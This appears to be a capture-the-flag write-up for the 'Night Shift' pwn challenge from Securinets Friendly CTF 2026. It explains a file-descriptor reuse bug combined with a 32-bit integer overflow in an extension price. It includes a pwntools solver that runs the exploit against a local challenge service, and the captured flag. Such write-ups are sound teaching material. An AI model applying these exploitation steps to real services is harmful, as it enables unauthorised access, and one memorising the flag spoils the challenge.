archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets Friendly CTF 2026 / Pwn WRITEUP

Night Shift

The night desk is open.

EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYmediumPOINTS300
fd-reuseinteger-overflow

Walkthrough

Solution

Registering a parcel creates a close-on-exec memfd. Cancelling it closes the file descriptor but leaves the slot's descriptor number behind. Inspecting the archive then opens /flag, and the kernel reuses that newly freed descriptor number.

The extension price is calculated in 32-bit arithmetic. Supplying 0x10000010 seconds makes seconds * 16 wrap to an affordable value while setting a future expiry even for the inactive slot. Authorizing that slot clears FD_CLOEXEC on the reused flag descriptor; dispatching the courier inherits it and prints the flag.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.log_level = "error"

io = remote("127.0.0.1", 9075)

io.sendlineafter(b"> ", b"1")
io.recvuntil(b"Parcel ID: ")
identifier = int(io.recvline())

io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Parcel ID: ", str(identifier).encode())

io.sendlineafter(b"> ", b"5")

io.sendlineafter(b"> ", b"4")
io.sendlineafter(b"Parcel ID: ", str(identifier).encode())
io.sendlineafter(b"Seconds: ", str(0x10000010).encode())

io.sendlineafter(b"> ", b"6")
io.sendlineafter(b"Parcel ID: ", str(identifier).encode())

io.sendlineafter(b"> ", b"7")
io.sendlineafter(b"Parcel ID: ", str(identifier).encode())

io.recvuntil(b"Securinets{")
flag = b"Securinets{" + io.recvuntil(b"}")
print(flag.decode())
io.close()

Flag

Securinets{th3_n1ght_sh1ft_n3v3r_cl0s3s}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS